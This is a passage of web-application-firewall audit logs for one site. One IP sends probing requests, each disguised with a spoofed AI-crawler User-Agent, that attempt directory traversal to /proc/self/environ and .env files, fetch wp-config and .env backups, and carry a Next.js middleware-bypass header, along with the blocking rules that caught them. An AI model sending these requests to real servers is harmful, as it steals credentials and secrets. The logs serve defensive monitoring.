X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--70a9cb68-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--70a9cb68-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles"] [unique_id "aqZoP2M7dE9KgIIOpQh0GgAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559066979 112083 (- - -)
Stopwatch2: 1789290559066979 112083; combined=4238, p1=232, p2=3943, p3=0, p4=0, p5=63, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--70a9cb68-Z--
--e7ff6312-A--
[13/Sep/2026:12:09:19.187161 +0300] aqZoPysVWymXUono-eRUzwAAAAc 34.73.246.242 56482 127.0.0.1 7081
--e7ff6312-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e7ff6312-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e7ff6312-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles"] [unique_id "aqZoPysVWymXUono-eRUzwAAAAc"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559181479 5749 (- - -)
Stopwatch2: 1789290559181479 5749; combined=4500, p1=247, p2=3956, p3=0, p4=0, p5=297, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e7ff6312-Z--
--07017736-A--
[13/Sep/2026:12:09:19.237980 +0300] aqZoPysVWymXUono-eRUzgAAABQ 34.73.246.242 56462 127.0.0.1 7081
--07017736-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--07017736-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--07017736-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles"] [unique_id "aqZoPysVWymXUono-eRUzgAAABQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559132998 105066 (- - -)
Stopwatch2: 1789290559132998 105066; combined=4693, p1=281, p2=4358, p3=0, p4=0, p5=54, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--07017736-Z--
--5739b80e-A--
[13/Sep/2026:12:09:19.252998 +0300] aqZoP2M7dE9KgIIOpQh0GwAAAMc 34.73.246.242 56478 127.0.0.1 7081
--5739b80e-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5739b80e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5739b80e-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles"] [unique_id "aqZoP2M7dE9KgIIOpQh0GwAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559165019 88043 (- - -)
Stopwatch2: 1789290559165019 88043; combined=5012, p1=217, p2=4730, p3=0, p4=0, p5=65, sr=74, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5739b80e-Z--
--81ef8b68-A--
[13/Sep/2026:12:09:19.342714 +0300] aqZoP2M7dE9KgIIOpQh0HAAAAMk 34.73.246.242 56498 127.0.0.1 7081
--81ef8b68-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--81ef8b68-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--81ef8b68-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles/x"] [unique_id "aqZoP2M7dE9KgIIOpQh0HAAAAMk"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559337217 5558 (- - -)
Stopwatch2: 1789290559337217 5558; combined=4314, p1=269, p2=3711, p3=0, p4=0, p5=334, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--81ef8b68-Z--
--b78ad61b-A--
[13/Sep/2026:12:09:19.496868 +0300] aqZoP2M7dE9KgIIOpQh0HQAAAMQ 34.73.246.242 56512 127.0.0.1 7081
--b78ad61b-B--
GET /wp-config.php.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b78ad61b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b78ad61b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HQAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HQAAAMQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559431542 65391 (- - -)
Stopwatch2: 1789290559431542 65391; combined=64021, p1=240, p2=63452, p3=0, p4=0, p5=329, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b78ad61b-Z--
--f84fbf08-A--
[13/Sep/2026:12:09:19.554170 +0300] aqZoPzTJ6xTvcJoem7f6dgAAAEU 34.73.246.242 56536 127.0.0.1 7081
--f84fbf08-B--
GET /wp-config.php.old HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f84fbf08-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f84fbf08-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZoPzTJ6xTvcJoem7f6dgAAAEU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZoPzTJ6xTvcJoem7f6dgAAAEU"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559494099 60136 (- - -)
Stopwatch2: 1789290559494099 60136; combined=58850, p1=246, p2=58339, p3=0, p4=0, p5=264, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f84fbf08-Z--
--600a5c35-A--
[13/Sep/2026:12:09:19.557007 +0300] aqZoPysVWymXUono-eRU0AAAAAs 34.73.246.242 56560 127.0.0.1 7081
--600a5c35-B--
GET /config/.env.php HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--600a5c35-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--600a5c35-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/config/.env.php"] [unique_id "aqZoPysVWymXUono-eRU0AAAAAs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/config/.env.php"] [unique_id "aqZoPysVWymXUono-eRU0AAAAAs"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559501552 55540 (- - -)
Stopwatch2: 1789290559501552 55540; combined=54248, p1=343, p2=53635, p3=0, p4=0, p5=269, sr=109, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--600a5c35-Z--
--598f1318-A--
[13/Sep/2026:12:09:19.581343 +0300] aqZoP2M7dE9KgIIOpQh0HgAAANU 34.73.246.242 56574 127.0.0.1 7081
--598f1318-B--
GET /.env.php.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--598f1318-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--598f1318-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HgAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HgAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559525443 55978 (- - -)
Stopwatch2: 1789290559525443 55978; combined=54644, p1=234, p2=54095, p3=0, p4=0, p5=314, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--598f1318-Z--
--6e634c24-A--
[13/Sep/2026:12:09:19.589973 +0300] aqZoPzTJ6xTvcJoem7f6dAAAAEA 34.73.246.242 56522 127.0.0.1 7081
--6e634c24-B--
GET /laravel/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
